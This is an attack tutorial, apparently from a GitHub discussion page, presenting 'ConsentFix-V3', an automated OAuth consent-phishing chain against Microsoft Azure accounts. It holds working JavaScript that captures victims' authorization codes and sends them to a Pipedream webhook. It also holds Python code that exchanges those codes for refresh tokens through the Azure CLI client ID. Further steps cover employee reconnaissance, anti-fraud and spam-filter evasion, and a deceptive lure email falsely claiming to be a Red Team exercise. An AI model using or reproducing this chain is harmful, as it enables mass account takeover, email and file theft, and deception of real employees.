You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Consent phishing has become one of the most effective techniques to compromise cloud identities. Instead of stealing passwords, it abuses the OAuth2 trust model: a single user click can grant an attacker a long‑lived refresh token, providing persistent access to email, files, and internal applications.
This article introduces ConsentFix-V3 – our custom‑built evolution of the original consent‑fix technique, now engineered as a fully automated attack chain targeting Microsoft Azure. Every stage, from target selection to token capture, is executed with zero financial cost using freely available services.
The complete operation follows this precise sequence:
1. Target selection and impersonation recon
1.1: Select a company/domain and verify its Azure Tenant ID (https://www.whatismytenantid.com/)
Why: Confirms whether the target actually uses Azure infrastructure. If no Tenant ID exists, the attack chain stops here.
1.2: Use ZoomInfo to map employees and choose an individual for impersonation
Name
Job title / Position
Why: A real employee identity makes the phishing email and the fake persona more credible, increasing success rates.
2. Persona infrastructure – Create disposable accounts under a believable identity.
2.1: Set up browser fingerprinting tools for account creation without being blocked
GoLogin (essential, provides residential IP for free)
AdsPower
Why: Prevents detection and blocking by anti‑fraud systems during mass account creation.
2.2: Create essential accounts
Outlook (used to create other accounts, as it is widely accepted by most platforms)
Cloudflare (to host the phishing page)
Tutanota email (used to send the phishing emails due to better inbox delivery rates)
DocSend (to host the fake PDF)
Hunter.io (provides structured CSV data: employee names, job titles, companies, and emails – essential for personalizing each victim's phishing link and PDF via the Python script)
Pipedream (for automation and token exchange)
Why: Each service plays a specific role in the attack chain, from hosting to automation.
4. Post‑exploitation tooling – Install and configure Specter Portal, ready to receive captured refresh tokens.
Why: Specter Portal provides a ready‑to‑use interface to interact with captured tokens and explore compromised accounts.
5. Phishing page deployment
4.1: Host HTML + JS on Cloudflare Pages
Why: Cloudflare Pages offers free, fast hosting with SSL, making the fake page look legitimate.
4.2: Create a Pipedream webhook endpoint to receive the authorization code
Why: Acts as an indirect exfiltration channel for the data collected from the victim.
4.3: How the phishing page works – JavaScript breakdown
Why: Explains the core logic of the page, including how victim data is extracted from the URL, how the profile card is populated (the psychological trigger), how the OAuth popup is opened, and how the authorization code is captured and exfiltrated to Pipedream.
4.4: Set up Pipedream automation to exchange authorization code for refresh token
Why: Automates the critical step of converting the intercepted code into a usable refresh token in real time. This step is extremely important because the authorization code has a very short lifespan.
6. Target email harvesting – Use Hunter.io to collect employee emails from the target domain.
Why: Provides the list of victims who will receive the phishing email. The .csv structure also contains other data that will be used to generate trust and legitimacy for our phishing page.
6.1: Create a working directory containing:
export-.csv files with victim data (from Hunter.io)
template.md (email template with placeholders like [Name], [PDFName], [Passcode], etc.)
link.txt (base URL of the phishing page)
logo. (company logo image)
Why: Organizes all necessary inputs for the automated generation script.
6.2: Run the Python script (create_email_withpdf.py) to generate personalized emails and PDFs
Why: Personalization increases the likelihood that the victim will trust and click the link. Doing this manually would be extremely time‑consuming – trust me on this :)
8. Campaign execution – Send the phishing emails containing the hosted page link.
9. Token capture & handoff – Monitor Pipedream; each incoming refresh token is automatically made available for import into Specter Portal, ready for post‑exploitation.
All code (HTML/JS, Pipedream workflows, Python script) and a step‑by‑step video demonstration are included. The entire infrastructure relies on free tiers – your only investment is time.
⚙️ Prerequisites
An Ubuntu machine (or VM) – all tools and scripts are tested on this platform
Docker (optional) – runs Specter Portal in an isolated container, avoiding dependency conflicts and simplifying setup.
Basic familiarity with the command line, Python, and OAuth2 concepts
Concepts You Need to Know
OAuth 2.0 Authorization Code Grant
This is the OAuth2 flow where a user authorizes an application to access resources on their behalf. After the user grants consent, an authorization code is returned and later exchanged for an access token and a refresh token. In ConsentFix-V3, we abuse this exact mechanism: our phishing page initiates this flow with a legitimate Microsoft application, and the code we capture is the gateway to obtaining persistent access.
First-Party Applications (Microsoft)
First-party applications are those created and trusted by Microsoft, such as Azure CLI, Microsoft Teams, or Visual Studio Code. Unlike third-party apps, they are implicitly trusted in every Azure AD tenant and cannot be deleted or blocked without breaking legitimate developer workflows . This means they are pre‑consented – users can authenticate to them without admin approval, and in many cases, no consent screen is shown at all . This architectural trust is what makes ConsentFix so devastating: by abusing a first-party app like Azure CLI (04b07795-8ddb-461a-bbee-02f9e1bf7b46), attackers bypass the controls that would normally flag a malicious OAuth grant .
Refresh Tokens
Refresh tokens are long‑lived credentials that allow an application to obtain new access tokens without further user interaction. They are the crown jewel of this attack because they grant persistent access to the victim's resources emails, files, and internal applications long after the initial consent. Our entire pipeline is designed to capture these tokens and deliver them directly into Specter Portal for post‑exploitation.
Tenant ID (Azure Active Directory)
Every Azure AD organization has a unique identifier called a Tenant ID. In our attack chain, we first verify that the target has one using whatismytenantid.com. This step is essential because if no Tenant ID exists, the organization does not use Azure infrastructure – making the attack impossible. We only proceed with targets that pass this check, saving time and focus. The Tenant ID itself is not used in the phishing page (which relies on the dynamic "organizations" endpoint), but its presence confirms Azure usage.
FOCI (Family of Client IDs)
FOCI is a group of Microsoft applications that share permissions and refresh tokens among themselves. This means that a refresh token obtained for one FOCI application can be used to access resources through another application in the same family . In our attack, this property is critical: after capturing a token for Azure CLI (a FOCI member), we can use it to access sensitive data from Outlook, SharePoint, Teams, or other Microsoft services via Specter Portal .
Azure CLI
Azure CLI is Microsoft's command‑line tool for managing Azure resources. It can authenticate and obtain tokens programmatically, making it useful for automation. In ConsentFix-V3, we leverage this capability indirectly: our Pipedream workflows simulate the token exchange process that the Azure CLI would normally perform, allowing us to convert captured authorization codes into usable refresh tokens automatically.
Pipedream
Pipedream is a serverless integration platform that provides public webhooks and code execution in Node.js or Python. It serves three critical roles in our attack: first, as the webhook endpoint that receives the victim's authorization code; second, as the automation engine that immediately exchanges that code for a refresh token via Microsoft's API; and third, as the central collector that makes captured tokens available to us in real time. Its free tier makes the entire operation cost‑zero.
Consent Phishing (Consent Grant Attack)
Unlike traditional credential phishing, consent phishing tricks the user into granting OAuth2 permissions to a malicious application. However, ConsentFix-V3 operates differently: because we target a first-party app (Azure CLI), no consent screen is presented to the victim . As explained in the Push Security debrief, first-party apps are pre‑consented in every tenant and can be abused without any approval step . In our attack, the victim clicks "Verify with Microsoft" on our Cloudflare-hosted page, which opens a legitimate Microsoft login popup. Since they are already logged in, they are immediately redirected to http://localhost/ with an authorization code in the URL – they never see a permissions prompt . The user then drags that URL into the dropzone (or pastes it), and our page sends the full URL to the Pipedream webhook. This technique bypasses many security measures because no credentials are ever entered or stolen – only the post‑authentication code is exfiltrated, and the user remains unaware that anything malicious occurred.
The Origins of ConsentFix: From ClickFix to OAuth Abuse
The Precursor: Consent Phishing (2020–2024)
Before ConsentFix emerged as a distinct technique, the foundational concept of consent phishing had already been documented by major cloud providers. In July 2020, Microsoft's security team issued a warning about a new attack vector they termed "consent phishing," where attackers register malicious multi‑tenant applications in Azure AD and trick users into granting excessive OAuth permissions through legitimate‑looking consent screens .
These early attacks followed a simple pattern:
Attackers registered applications mimicking popular brands (Adobe, DocuSign)
Victims received emails with links to legitimate Microsoft login pages
Users unknowingly granted permissions like Mail.Read and offline_access
Attackers exchanged the authorization code for long‑lived refresh tokens
As Microsoft noted at the time, "the application gets an authorization code which it redeems for an access token, and potentially a refresh token" – the same core mechanism that would later be refined in ConsentFix .
The ClickFix Revolution (2024–2025)
Throughout 2024, a new social engineering technique called ClickFix gained traction among threat actors. According to Microsoft's threat intelligence, 47% of attacks started with ClickFix during this period .
ClickFix attacks typically involved:
Compromised or malicious websites injected with fake error messages
Instructions for victims to copy and paste PowerShell commands
Execution of malicious code directly on the endpoint
However, as endpoint detection and response (EDR) tools improved, attackers sought ways to move their operations entirely into the browser – where traditional security tools had limited visibility .
The Discovery of ConsentFix (December 2025)
On December 11, 2025, Push Security publicly disclosed a new attack technique they dubbed "ConsentFix" , which they had detected and blocked across multiple customer environments .
Push researchers described ConsentFix as a "browser‑native ClickFix attack that hijacks OAuth consent grants" . The campaign they observed specifically targeted Microsoft accounts by abusing the Azure CLI OAuth application – a first‑party app that is implicitly trusted in all Entra ID tenants .
The Attack Chain Documented by Push Security :
Watering hole via Google Search: Victims were funneled through Google Search to compromised but reputable websites injected with a fake Cloudflare Turnstile challenge.
Conditional loading: The page only proceeded if the victim entered a valid corporate email address from a targeted domain – a sophisticated anti‑analysis technique to evade security researchers.
Legitimate Microsoft login: Clicking "Sign In" opened a genuine Microsoft login page. If the victim was already logged into Microsoft in their browser, no credentials or MFA were required.
localhost redirect: After authentication, the victim was redirected to http://localhost/ with an OAuth authorization code visible in the URL.
Manual exfiltration: The phishing page instructed the victim to copy the URL and paste it into a text box – effectively handing the authorization code to the attacker.
Token exchange: The attacker's server exchanged the code for access and refresh tokens, granting persistent access to the victim's Microsoft account via Azure CLI.
Push Security's analysis highlighted why this technique was so dangerous:
"There's no login required, therefore phishing-resistant authentication controls like passkeys have no impact on this attack. The attack happens entirely inside the browser context, removing one of the key detection opportunities for ClickFix because it doesn't touch the endpoint."
Attribution and APT Connections
Subsequent investigation by threat researchers collaborating with Push Security revealed that the ConsentFix campaign appeared to be linked to Russian state‑affiliated APT29 (also known as Cozy Bear) . Researchers noted similarities with a previously documented campaign identified by Volexity, where victims were social‑engineered via email into manually copying localhost responses back to attackers .
Community Response and Evolution
The security community responded rapidly to Push's disclosure:
John Hammond released an improved version of the ConsentFix technique within days, implementing a drag‑and‑drop interface that made the attack even more seamless for victims .
Researchers from Glueck Kanja identified 11 additional first‑party Microsoft applications vulnerable to ConsentFix, including Microsoft Teams, Visual Studio Code, SharePoint Online Management Shell, and others .
Elastic published detection rules specifically targeting OAuth illicit consent grants .
In January 2026, Push Security published a comprehensive debrief in collaboration with BleepingComputer, consolidating community insights and predictions about the ConsentFix technique. The article, sponsored by Push Security and featured on BleepingComputer, highlighted several critical findings:
Legacy scopes were intentionally leveraged by attackers to evade detection, as many organizations had not enabled logging for AADGraphActivityLogs.
The attack exploited Conditional Access exclusions that many organizations had unknowingly applied to first‑party apps, allowing the abuse of trusted applications like Azure CLI.
Researchers predicted that ConsentFix would quickly be integrated into phishing‑as‑a‑service offerings and expanded beyond Microsoft targets to other cloud ecosystems.
The debrief also noted the rapid evolution of the technique, with community contributions from researchers like John Hammond and Glueck Kanja, who identified additional first‑party apps vulnerable to ConsentFix.
Evolution from Prior OAuth Attacks
It's important to note that ConsentFix represents an evolution, not an entirely new invention. As documented in phishing technique encyclopedias, consent phishing had been used against GitHub, Google Workspace, and Microsoft platforms for years . What made ConsentFix novel was:
The ClickFix‑style social engineering – manually copying and pasting URLs instead of automated redirects
Targeting first‑party apps like Azure CLI that bypass standard security controls
Complete browser‑native execution – no files, no processes, no endpoint telemetry
Sophisticated anti‑analysis layers including IP‑based blocking and conditional page loading
This historical context is essential for understanding why ConsentFix-V3 represents the culmination of several years of evolution in OAuth abuse techniques – from simple consent phishing in 2020, through the ClickFix social engineering approach that emerged in 2024, to the sophisticated browser‑native attacks documented in late 2025.
Building the Attack Chain
OK, without further ado, let's start the attack. The first step is to define the target. We'll begin by using ZoomInfo to gather intel.
Target selection and impersonation recon
1.1: Select a company/domain and verify its Azure Tenant ID
The first step is to choose a target organization and confirm they actually use Azure infrastructure. Without an Azure Tenant ID, the attack chain stops here.
Visit https://www.whatismytenantid.com/ and enter the target domain. If a Tenant ID is returned, the organization uses Azure and we can proceed. If no Tenant ID is found, the target is not valid for this attack.
1.2: Use ZoomInfo to map employees and choose an individual for impersonation
Once we've confirmed the target uses Azure, we need to gather employee information to create a believable persona. Using ZoomInfo (or similar tools), we identify:
Name
Job title / Position
This real employee identity will be used throughout the attack to craft believable phishing emails, set up our fake accounts, and add credibility to every interaction with the target. A legitimate-looking persona significantly increases the success rate of the attack.
Persona Infrastructure
2.1 Set up browser fingerprinting tools
GoLogin
image_4_gologin.png
AdsPower
You must define the platform: be careful not to use Linux or Windows as these usually cause problems! Prefer MacOS and Android instead.
We use a temporary account to register on GoLogin, grab the free residential proxy credentials (host, port, user, pass), and plug them into AdsPower profiles. In our experience, proxies from Canada and Australia seem to trigger fewer fraud alerts – we can't explain why, it's just something we noticed. This combo (GoLogin's proxies + AdsPower's profiles) consistently gives us fewer blocks and verification requests than using either tool alone. No idea why it works better, but empirically it does.
2.2 Create essential accounts
If you look at the screenshot above, you'll see exactly what this phase looks like in practice: a browser window with multiple tabs, each one logged into a different service. This is the messy but necessary part of building a believable persona.
Outlook
Cloudflare
Tutanota email
DocSend
Hunter.io
Pipedream
OK, as you can see, we have successfully created all the accounts needed to conduct the attack.
However, it's important to note that even with all the precautions we took, some platforms may still cause unexpected issues. For example, Outlook occasionally presents a "Verify you're human" challenge that simply doesn't work. I cannot explain exactly why this happens, but sometimes the verification process fails entirely. A high-quality private residential proxy would likely prevent this from occurring.
Another problem we encountered was with Hunter.io, which randomly requests phone number verification. Again, I cannot explain why this happens, but it appears to be related to IP reputation. A private residential proxy would most likely eliminate both of these issues.
Post‑exploitation tooling – Install and configure Specter Portal
Specter Portal is the engine that will consume the captured access tokens and refresh tokens, giving you hands‑on access to compromised Azure environments. It provides a clean web interface to explore mail, files, users, roles, and virtually any Microsoft 365 resource the token has permissions for.
The tool was originally developed by specter and is available on GitHub: https://github.com/specter/specter-portal
To make setup as painless as possible, we've organized Specter Portal to run with Docker. This assumes you're running a Linux machine (or VM) with Docker and Docker Compose already installed. If you prefer to run the original version without Docker, follow the instructions on the official GitHub repository – the choice is yours.
The complete Specter Portal source is included in the source.zip archive that accompanies this article. Extract it and navigate to the SpecterPortal directory:
Bash:
unzip source.zip -d ConsentFix-V3
cd ConsentFix-V3/Tools/SpecterPortal
Inside you'll find a docker-compose.yml file (shown below). Simply run:
Bash:
docker compose up -d
This will start the backend API on port 5000 and the frontend on port 5173. The first run may take a minute while images are pulled.
Once the containers are running, open your browser to http://localhost:5173/. To log in, you'll need an access token – this token is generated automatically by the backend and printed in its logs. Retrieve it with:
Bash:
docker logs specterportal-backend
Look for a line containing something like Your API token is: .... Copy that token and paste it into the login screen.
With Specter Portal up, it will wait silently for tokens. Later, when our campaign captures them, we'll import them here and start exploring compromised tenants (if the campaign yields any results, of course).
Phishing page deployment
Now we build the trap. Our phishing page needs to: look legitimate, capture the authorization code after the victim authenticates, and immediately send it to our Pipedream endpoint. Since the authorization code expires within minutes, Pipedream automates the exchange process - converting the code into a persistent refresh token that we can import into Specter.
4.1 Host HTML + JS on Cloudflare Pages
Important: Before deploying to Cloudflare Pages, you must first configure the JavaScript file with your Pipedream webhook URL (which we'll create in section 4.2). The HTML and JavaScript files are included in the source.zip archive, located inside PhishingPage.zip. Extract these files, update the webhook URL constant in the JavaScript, and then re-compress the folder back into a .zip file before uploading to Cloudflare Pages, as Cloudflare expects a .zip archive containing all the page files.
Cloudflare Pages is our choice because it's free, provides automatic SSL, and serves pages fast – all of which make the fake page look more credible. Deploying is straightforward:
Go to Cloudflare Pages and create a new project.
Upload the configured HTML and JavaScript files directly (or connect your Git repository).
Deploy. You'll get a .workers.dev URL. You can also use a custom domain.
Once deployed, test the page by opening it in a browser. You should see the Azure-themed interface with the "Verify with Microsoft" button and the dropzone.
Important: Don't forget to place the base URL of your deployed phishing page inside link.txt within your target folder, alongside the other dependencies (CSV files, template.md, and logo). The Python script reads this file to generate the personalized phishing links for each victim.
4.2 Create a Pipedream webhook endpoint
The page needs somewhere to send the captured URL. Pipedream gives us a public HTTP endpoint that we can use as an exfiltration channel – no servers to manage, and it's free for moderate usage.
Log in to Pipedream and create a new HTTP workflow.
Use the "HTTP / Webhook" trigger. Copy the generated URL – this is your webhook.
In the HTML page source (the files inside PhishingPage.zip within source.zip), replace the WEBHOOK_URL constant with your Pipedream URL.
Now, add a Python step to automatically exchange the captured authorization code for a refresh token.
After the HTTP trigger, click the "+" button to add a new step, select "Python" as the language, and paste the following code:
Python:
def handler(pd: "pipedream"):
import requests
import re
from urllib.parse import urlparse, parse_qs
payload = pd.steps["trigger"]["event"]["body"]
if not payload:
return {"success": False, "error": "No payload received"}
full_url = payload.get("full_url")
email = payload.get("email", "unknown")
campaign = payload.get("campaign", "unknown")
if not full_url:
return {"success": False, "error": "Missing full_url in payload"}
def extract_code_from_url(url):
parsed_url = urlparse(url)
params = parse_qs(parsed_url.query)
code = params.get('code', [None])[0]
if code:
return code
match = re.search(r'code=([^&\s]+)', url)
if match:
return match.group(1)
return None
def exchange_code_for_tokens(code):
token_url = "https://login.microsoftonline.com/organizations/oauth2/v2.0/token"
data = {
"client_id": "04b07795-8ddb-461a-bbee-02f9e1bf7b46",
"grant_type": "authorization_code",
"code": code,
"redirect_uri": "http://localhost"
}
headers = {"Content-Type": "application/x-www-form-urlencoded"}
response = requests.post(token_url, data=data, headers=headers)
return response.json()
auth_code = extract_code_from_url(full_url)
if not auth_code:
return {
"success": False,
"error": "Authorization code not found in URL",
"full_url": full_url
}
tokens = exchange_code_for_tokens(auth_code)
return {
"success": True,
"email": email,
"campaign": campaign,
"auth_code": auth_code,
"refresh_token": tokens.get("refresh_token"),
"access_token": tokens.get("access_token"),
"id_token": tokens.get("id_token"),
"expires_in": tokens.get("expires_in"),
"token_type": tokens.get("token_type"),
"full_response": tokens
}
Test the workflow – After you complete step 6 (email/PDF generation), you'll have a test_link.txt file. Use that link to visit your phishing page and complete the flow. The authorization code will be sent to Pipedream, and this Python step will automatically exchange it for a refresh token. You can verify the output in the step's logs.
Now, whenever a victim drags the localhost URL into the dropzone (or pastes it), the full URL is sent to Pipedream, and the refresh token is obtained in real time – ready for import into Specter.
4.3 How the phishing page works: JavaScript breakdown
The page's JavaScript is what makes the attack seamless. Below we break down its critical parts, highlighting the psychological mechanisms that make it so effective.
Configuration constants
At the top, we define all parameters for the OAuth flow and exfiltration.
JavaScript:Скопировать в буфер обмена
const WEBHOOK_URL = "https://your-pipedream-webhook-url";
const CAMPAIGN_NAME = "consentfix-V3";
const CLIENT_ID = '04b07795-8ddb-461a-bbee-02f9e1bf7b46'; // Azure CLI client ID
const REDIRECT_URI = 'http://localhost/';
const SCOPE = 'openid profile offline_access https://graph.windows.net/.default';
const AUTHORITY = 'https://login.microsoftonline.com/organizations/oauth2/v2.0/authorize';
const FINAL_REDIRECT = 'https://outlook.live.com/';
These constants control:
Webhook URL: where the captured code is sent.
Client ID: we use the Azure CLI app (a trusted first‑party app) to avoid additional consent prompts.
Redirect URI: must match the one registered for the app – here it's http://localhost, which the victim will see after authentication.
Scope: includes offline_access to obtain a refresh token.
Final redirect: after exfiltration, the victim is sent to a harmless page (Outlook) to avoid suspicion.
Extracting victim data from the URL
The page expects a URL parameter containing a base64‑encoded JSON payload with the victim's details (generated by the Python script covered later). This eliminates manual email entry and sets up the psychological hook.
Rendering the profile card (the psychological trigger)
The decoded data populates a profile card the victim sees immediately. This shifts the attack from technical to psychological.
Why this matters: When victims see their own name, email, company, and job title on what looks like an official Azure page, their guard drops. The message is implicit: "This page already knows me – it must be legit." A generic phishing page becomes a personalized trap that feels like an internal corporate tool.
Opening the Microsoft login popup
When the victim clicks "Verify with Microsoft", we open a popup with the legitimate OAuth2 URL. The login_hint pre‑fills their email – another layer of convenience that builds trust.
Capturing the authorization code
After authentication, Microsoft redirects to http://localhost/ with the code in the URL. The victim can copy‑paste or drag the URL into the dropzone. We chose drag‑and‑drop – it's faster and feels more seamless. The dropzone handles both.
JavaScript:
dropzone.addEventListener('drop', (e) => {
e.preventDefault();
dropzone.classList.remove('dragover');
const dragData = e.dataTransfer.getData('text/plain') ||
e.dataTransfer.getData('text/uri-list') ||
e.dataTransfer.getData('text') ||
e.dataTransfer.getData('URL');
if (dragData) {
processData(dragData);
} else {
showStatus('No data received from drag.', 'error');
}
});
document.addEventListener('paste', (e) => {
const pasted = e.clipboardData.getData('text');
if (pasted && pasted.includes('code=')) {
processData(pasted);
e.preventDefault();
}
});
Processing and exfiltrating the URL
The processData function validates the data and sends it to the webhook.
JavaScript:Скопировать в буфер обмена
function processData(raw) {
if (params.email) {
sendFullUrlToWebhook(raw, params.email);
dropzone.classList.add('success');
showStatus('Verification completed successfully', 'success');
} else {
dropzone.classList.add('error');
showStatus('Email missing, cannot verify', 'error');
setTimeout(() => dropzone.classList.remove('error'), 2800);
}
}
Exfiltrating to Pipedream
During testing, we hit a problem: the phishing page and Pipedream webhook are on different domains, and browsers block cross-origin requests by default (CORS). If we didn't fix this, the data would never reach us.
Our solution was using no-cors mode in the fetch request. It bypasses the CORS block – the browser can't read the response, but we don't need one. We just need the webhook to receive the data.
The payload includes the full URL (with the authorization code), victim's email, campaign name, timestamp, and user agent – everything needed for tracking.
After sending, we redirect the victim to Outlook in half a second. Success or fail, they leave with no suspicion.
Target email harvesting – Use Hunter.io to collect employee emails
With the phishing infrastructure ready, we need actual targets. Hunter.io is the tool for this job. Enter the target domain, and it returns a structured list of employees with their names, job titles, and email addresses.
Export the results as a CSV file. This file will be the foundation for the next phase: personalized emails and PDFs. The more complete the data, the more convincing our attack becomes.
The CSV should contain at minimum:
First name
Last name
Email address
Job title (optional but useful)
Company name (optional but useful)
Save it as export-*.csv in a dedicated working directory – we'll use it in the next step.
Email/PDF generation
6.1 Create a working directory containing:
export-.csv files with victim data (from Hunter.io)
template.md (email template with placeholders like [Name], [FName],[PDFName], [Passcode], etc.)
link.txt (base URL of the phishing page)
logo. (company logo image)
├── export-xss.com.csv
├── link.txt
├── logo.jpg
└── template.md
6.2 Run the Python script (create_email_withpdf.py)
The script automates the creation of personalized phishing emails and PDFs. Below are the core logical blocks as implemented in the actual code.
[+]. Unique phishing URL with embedded victim data
Earlier ConsentFix implementations required the victim to manually enter their corporate email address on the phishing page – an extra step that introduced friction and could raise suspicion. With our method, we eliminate that step entirely. Each victim receives a unique URL containing a base64‑encoded JSON payload with their personal data (name, email, company, job title, etc.). When they land on the page, the JavaScript automatically decodes this payload and populates the profile card. The victim never has to type anything, and because the page already "knows" their details, it feels more legitimate and trustworthy. The random parameter name also helps evade simple URL pattern detection.
[+]. PDF generation with company branding and clickable link
During our tests, emails containing direct links to .workers.dev pages frequently landed in spam – even with careful wording and personalization. Our bypass was simple: instead of placing the link directly in the email, we generate a PDF that looks like an official company document (logo at the top, Azure‑blue clickable link) and host it on DocSend.
DocSend is a legitimate document‑sharing platform widely used by businesses. Because the email contains only a link to DocSend (a trusted domain), spam filters are far less likely to flag it. The actual phishing link is hidden inside the PDF.
We also password‑protect each DocSend sharing link (not the PDF file itself) using a dynamically generated passcode based on the victim's personal data, such as Company_Name_1234. This is a personal choice – the technique works without it – but in our tests, adding the passcode served two purposes:
It adds credibility. The passcode contains fragments of the victim's own company and name. Psychologically, this lowers their guard: "This document has my company and my name – it must be legitimate internal communication."
It forces engagement. The victim must enter the passcode to view the PDF, increasing the time they spend interacting with the document and the likelihood they'll click the link inside.
Empirically, this approach significantly reduced bounce rates and increased click‑through rates compared to sending raw links. We don't have a theoretical explanation – it simply worked better in practice.
Once the script finishes, you'll have a complete set of personalized emails and PDFs ready to send. The test link lets you verify the entire pipeline works before targeting real victims.
Important: In the Python script (create_email_withpdf.py), don't forget to replace the TEST_EMAIL = "test@example.com" constant with the actual Outlook email you created for your persona. This email serves two critical purposes: first, it's automatically included alongside every 10th victim email in the output folders, allowing you to send a test email to yourself every 10 victims so you can verify exactly where your emails are landing — inbox, trash, junk, spam, etc. — throughout the campaign; second, it's used to generate a test link (saved as test_link.txt) that we'll use to validate the entire attack chain works before launching the real campaign.
8. Campaign execution – Send the phishing emails containing the hosted page link
With all emails and PDFs generated and organized in numbered folders inside emails_result/, it's time to launch the campaign.
Each victim folder contains:
email.txt – the personalized email body (without the link – remember, the link is inside the PDF)
The personalized PDF (e.g., ExampleCompany-Domain-Verification-2026-John-Doe.pdf)
We'll use this email template (template.md) to craft the messages:
Subject: [Name] - Azure domain verification | 48 hours left
Hi [FName],
We're reorganizing the Azure structure for our domain, and unverified accounts will be deactivated soon.
The verification process is simple and takes less than 10 seconds. The verification link is in the attached PDF.
[PDFNAME]
Password: [PASSCODE]
This email is an internal Red Team exercise – the process is safe to interact with.
Best Regards,
Michael Wells
General Manager, IT
Now let's be honest: even with all the personalization, an email from a stranger will always raise suspicion. The victim will look at it and think: "Why did I receive this? Is this legitimate?" So we play dirty — we actually reinforce that suspicion, but simultaneously guide them into our context. By explicitly stating that this is an "internal Red Team exercise," we validate their distrust. The victim thinks: "I was right to be suspicious, but since it's an authorized and safe exercise, I can interact without fear." We transform the barrier of suspicion into a bridge of trust, making them feel comfortable clicking and following the process.
Delivering the PDFs via DocSend
You'll upload each personalized PDF to DocSend. For each file, set the shareable link to require the victim's unique passcode (for example, ExampleCompany_john_1234). Then paste that DocSend link into the email.txt body before sending. This ensures that only the intended recipient can access the PDF, adding another layer of legitimacy.
Sending the Emails
Use the Tutanota account you created earlier – it consistently delivers to inboxes (not spam) with minimal friction. Do not use the Outlook account for sending; it's only for creating other accounts.
As you send each email, monitor your Pipedream workflow. When victims open the PDF, enter the passcode, and click the "Domain Verification Link", they'll be taken to your phishing page. After the drag‑and‑drop step, the authorization code will arrive in Pipedream and be automatically exchanged for a refresh token, ready for import into Specter.
9. Token capture & handoff – Monitor Pipedream;
With the campaign launched, the waiting game begins. Phishing has a notoriously low conversion rate, so don't expect immediate results – you'll likely send hundreds of emails before securing your first access. Be persistent.
Monitor your Pipedream dashboard closely. When a victim completes the flow, the captured authorization code is automatically exchanged for a refresh token, and the result appears in your workflow logs. Each successful token is accompanied by the victim's email and campaign details.
As you can see below, after completing the authentication flow on our page, we receive the authorization code, and then our Python code exchanges that authorization code for a refresh token.
As you can see, we were able to import our access code; we can also import the refresh token (this is recommended). However, as will be explained below, our actions are limited because a non-corporate (work or school) account was used for testing. But our token is valid and was imported and recognized, which shows that the entire process worked.
image_16_specter.png
⚠️ A note about our test environment
Throughout this article, we used a free personal Outlook account for testing. These accounts are not Azure AD tenants – they lack the underlying infrastructure that makes the attack work in the real world.
In a real corporate environment, Microsoft Entra ID serves as the identity backbone through federation protocols (SAML, OIDC, WS-Fed) . Any application configured to trust Entra ID – whether SaaS apps (SuccessFactors, Salesforce, Workday) , VPN appliances (Cisco AnyConnect, Palo Alto GlobalProtect, FortiGate) , or VDI solutions – inherits the authentication decisions from Entra ID. This means a captured refresh token isn't just an email key – it's a session equivalent that can request access to any federated application the victim has permissions for .
Here's why our personal test accounts couldn't demonstrate this:
No Azure access: Personal Microsoft accounts cannot authenticate with the Azure CLI or access Azure resources. The tokens we captured in our tests are valid, but they have no permissions – they're like a key to an empty room.
FOCI only works in corporate tenants: The Family of Client IDs (FOCI) feature – which allows a token obtained for one Microsoft app (like Azure CLI) to be used across other Microsoft apps (Outlook, SharePoint, Teams) – is only available in Azure AD corporate tenants. Personal accounts exist in a separate authentication boundary and cannot leverage this cross‑app token sharing.
In a real attack against a corporate target, the refresh token you capture would grant access to email, files, Teams messages, SharePoint sites, and any federated applications – whatever permissions were requested during the consent phase. You would import it into Specter Portal and immediately begin post‑exploitation.
For our demonstration, we stop here – the pipeline works, the token is captured, and the infrastructure is proven. The next step belongs to a real engagement.
Final thoughts: The future of ConsentFix
Now that you've seen the entire attack chain – from target selection to token capture – you might be wondering: how long will this technique remain viable?
Based on community analysis and Microsoft's response, here's our prediction:
ConsentFix is here to stay – but it will get harder.
Why it will continue working
The attack's longevity comes from fundamental design choices in Microsoft's ecosystem:
First‑party apps are permanently trusted: Applications like Azure CLI (04b07795-8ddb-461a-bbee-02f9e1bf7b46) are pre‑consented in every tenant and cannot be blocked without breaking legitimate developer workflows. This trust relationship is architectural, not a bug that can be patched away.
FOCI is a feature, not a flaw: The Family of Client IDs enables seamless SSO across Microsoft apps – a convenience Microsoft is unlikely to remove. As long as FOCI exists, a single compromised refresh token grants access to the entire family.
Browsers remain the battleground: Since the attack happens entirely in the browser context, endpoint defenses (EDR, antivirus) have zero visibility. This "browser‑native" aspect isn't going away.
The counter‑movement: Detection, not prevention
Security teams are shifting from "stop the attack" to "catch the abuse":
Token Protection in Conditional Access: Microsoft now allows binding access tokens to specific devices, making stolen codes harder to redeem from attacker infrastructure. This is the most promising mitigation – but it requires Entra ID Premium licenses and careful rollout.
Logging improvements: The deprecated AADGraphActivityLogs must now be explicitly enabled for detection. Organizations that fail to do so will remain blind.
Behavioral monitoring: Rules like Elastic's detection query look for the same user authenticating from two geographically distant IPs with the same session ID – the telltale sign of ConsentFix.
App restrictions: Security teams can create Service Principals for vulnerable apps and restrict which users can authenticate to them. This reduces the attack surface without breaking functionality for everyone.
What this means for ConsentFix
ConsentFix is an initial access vector. Its job is to get you in the door – to capture that first refresh token. Once you have it, you move to post‑exploitation (using tools like Specter Portal). The two phases are separate, but the attack chain we built connects them.
As defenses improve, mass‑scale spray‑and‑pray campaigns will become less effective. But for targeted spear‑phishing operations – where the attacker researches the victim, crafts personalized lures, and goes after high‑value targets – ConsentFix will remain devastating. It bypasses credentials, evades MFA, and exploits the very features that make Microsoft's ecosystem convenient.
Our prediction for 2026–2027
| Attack prevalence | Will increase – now part of APT arsenals (APT29 already linked) |
| Defender visibility | Will improve – more organizations will enable legacy logs and deploy token protection |
| Ease of execution | Will decrease – as Conditional Access policies tighten, mass campaigns will struggle |
| Effectiveness for targeted attacks | Remains high – FOCI and first‑party trust are enduring features |
reacted with thumbs up emoji reacted with thumbs down emoji reacted with laugh emoji reacted with hooray emoji reacted with confused emoji reacted with heart emoji reacted with rocket emoji reacted with eyes emoji
Uh oh!
There was an error while loading. Please reload this page.
-
Introduction
Consent phishing has become one of the most effective techniques to compromise cloud identities. Instead of stealing passwords, it abuses the OAuth2 trust model: a single user click can grant an attacker a long‑lived refresh token, providing persistent access to email, files, and internal applications.
This article introduces ConsentFix-V3 – our custom‑built evolution of the original consent‑fix technique, now engineered as a fully automated attack chain targeting Microsoft Azure. Every stage, from target selection to token capture, is executed with zero financial cost using freely available services.
The complete operation follows this precise sequence:
1. Target selection and impersonation recon
